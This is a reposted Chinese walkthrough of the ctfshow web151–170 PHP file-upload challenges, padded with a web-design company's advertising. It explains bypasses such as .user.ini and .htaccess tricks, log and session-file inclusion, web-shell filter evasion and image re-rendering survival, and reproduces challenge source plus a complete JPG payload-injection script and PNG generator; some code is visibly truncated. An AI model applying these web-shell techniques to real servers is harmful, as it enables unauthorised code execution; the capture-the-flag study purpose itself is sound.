php中如何进行ctfshow文件上传

今天就跟大家聊聊有关php中如何进行ctfshow文件上传,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

成都网站制作,成都营销型网站-创新互联公司科技公司专注营销型网站建设及定制型网站开发。致力为您建设最有价值的网站,服务热线:18982081108。

web151~前端验证

直接抓包修改后缀。

web152~前端+MIME

直接抓包修改后缀。

web153~.user.ini

https://www.php.net/manual/en/ini.list.php

使用条件:

(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式

(2)上传目录下要有可执行的php文件

使用方式:

  1. 上传一张图片马

  2. 上传 .user.iniauto_prepend_file=ma.png

  3. 访问.user.ini同级目录中的一个php文件。

本题目中有 /upload/index.php,所以可以操作。

题目配置可以从http相应包得到。nginx/1.18.0 (Ubuntu)

web154~文件内容过滤php

上来测试发现是黑名单过滤的。

我们还可以上传 .user.ini,并且upload/index.php真好存在。

那么我们上传一张图片马,

发现被拦截了。

文件上传失败,失败原因:文件内容不合规

猜测可能是拦截了 php 字符串。那么我们删掉他试试,果然上传成功。

那么我们呢绕过就可以了。

          # 不可



eval($_POST['a']);   # 不可用

web155~文件内容过滤php

测试正常的 png 图片可以上传。

对图片内容过滤php

绕过

步骤跟上关一样。。。。。

web156~过滤 php, [

测试,又是文件内容过滤了 php.

紧接着发现事情没这么简单,还过滤了[,这给传参造成了一定的困难。

但是我们可以直接

web157~过滤分号

nginx/1.18.0 (Ubuntu) PHP/5.6.40

文件名黑名单

经测试,对文件内容过滤了 php[{;

上传.user.ini

我们知道 php 最后的语句也可以不加分号的,前提是得有 ?>结束标志。

上传 2.png


访问upload/index.php

web158~过滤分号

和web157解法相同。

web159~过滤括号

经测试,对文件内容过滤了 php[{;(

问题不大,不能用函数了。

那我们用反引号代替system()

web160~过滤反引号,包含日志

经测试,对文件内容过滤了 php[{;(、 反引号 、空格。

好家伙。包含日志文件,但发现 log也被过滤了。那就进行拼接。

上传.user.ini后,在上传 ma.png

看到页面回显,确实包含了。

想着直接浏览器访问 url 路径带上一句话,但是却被编码了 %3C?php%20eval($_POST[1]);?%3E

还是再UA出比较好。

修改UA User-Agent:

然后成功getshell.

web161~检测文件头

php中如何进行ctfshow文件上传

发现只有文件内容异常的图片已经上传不上去了。猜测应该是对文件头进行了检测。

php中如何进行ctfshow文件上传

上传 GIF89a成功绕过,但是这里文件内容测试只有两个字符的时候还不能上传。。。。。所以多放点字符。

其余操作和上官相同。

web162~包含session文件

测试,这关也检测了文件头,但是同时过滤掉了 点 .

我们可以看到这样绕过

.user.ini :

GIF89a
auto_prepend_file=ma

但上传ma文件,同样不能包含日志文件。这时候就需要包含session文件了。

这里还过滤了flag

上传 ma

GIF89a

那么我们就开始构造,session文件竞争包含。

构造










php中如何进行ctfshow文件上传

一直上传,内容为写后门到 a.php

然后一直包含session文件。

php中如何进行ctfshow文件上传

可以看到成功包含,那么此时我们去upload/a.php,成功访问,并测试后门成功写入。

php中如何进行ctfshow文件上传

可以参考文件包含篇:

还有 利用session.upload_progress进行文件包含

web163~包含session文件

过滤还是前面的过滤。

操作和上关一样的。

这里有upload/index.php,所以我们其实可以直接利用此文件包含Session文件。

上传.user.ini:

GIF89a
auto_prepend_file=/tmp/sess_fllag

然后就开始session文件竞争上传和包含。

php中如何进行ctfshow文件上传

成功。

这是题目源码:

 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }

            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str);
}

function clearUpload(){
    system("mv ./upload/index.php ./index.php_");
    system("rm -rf ./upload/*");
    system("mv ./index.php_ ./upload/index.php");
}

sleep(2);
clearUpload();
echo json_encode($ret);

web164~png二次渲染

测试了一下。

{"code":3,"msg":"只允许上传png格式图片"}

白名单验证。

找了一张测试可以成功上传png图片。

还发现

download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png

可以随意修改图片又会被检测,故做图片马。

但是一般的图片马还绕不过,应该是做了二次渲染。

所以可以上传二次渲染绕过的图片,在做文件包含即可。

生成脚本:

   */

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

php中如何进行ctfshow文件上传

web165~jpg二次渲染

测试只能上传 jpg.

{"code":3,"msg":"只允许上传jpg格式图片"}

也是二次渲染,当我们写后门进图片是,后台会自动检测并删除数据。

那么就用到 jpg二次渲染绕过了。

拿脚本

In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php ');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

先上传一张图片,然后下载下来,然后利用脚本生成。

php jpg_payload.php 

php中如何进行ctfshow文件上传

再继续上传,

发现这张图片不行,再来一张。

php中如何进行ctfshow文件上传

成功。

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.

web166~zip文件上传包含

尝试多次,发现zip 文件可上传。

php中如何进行ctfshow文件上传

但是上传直接编辑后门一句话的压缩包。

php中如何进行ctfshow文件上传

php中如何进行ctfshow文件上传

web167~.htaccess

php中如何进行ctfshow文件上传

但这只是前端限制。

可以看到,只允许jpg上传。

抓包测试了一下,是黑名单。

开局有个提示httpd

测试apache解析漏洞没解析。

测试.htaccess成功。


SetHandler application/x-httpd-php

然后上传带有马的 1.jpg即可。

但是这里浏览器响应回来的是 nginx呀,坑。

web168~后门免杀

基础免杀

测试,会检测_GET_POST

可抓包后修改直接上传php文件。

反引号

反引号达到命令执行的效果。

把源码拔下来

 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $str = file_get_contents($_FILES["file"]["tmp_name"]);
            if(check($str)===0){
                move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
                $ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
            }

    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}

function check($str){
    return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
}

echo json_encode($ret);

本来还想着包含一波日志。

字符拼接
$_REQUEST
数学函数

这里

其他函数构造

web169~.user.ini包含日志

测试发现

抓包需修改Content-Type: image/png

文件名后缀随意。

看看文件内容过滤了啥 <> ? 等等。

只能进行 .user.ini日志文件包含了。

思路: 上传 .user.ini

auto_prepend_file=/var/log/nginx/access.log

然后随便上传个php文件即可。

然后改UA为一句话即可。

web170

测试上传zip,抓包修改,后缀为php, MIME类型为image/png.

包含.user.ini

日志文件/var/log/nginx/access.log

看完上述内容,你们对php中如何进行ctfshow文件上传有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注创新互联行业资讯频道,感谢大家的支持。


当前名称:php中如何进行ctfshow文件上传
地址分享:http://csdahua.cn/article/iidpoj.html
扫二维码与项目经理沟通

我们在微信上24小时期待你的声音

解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流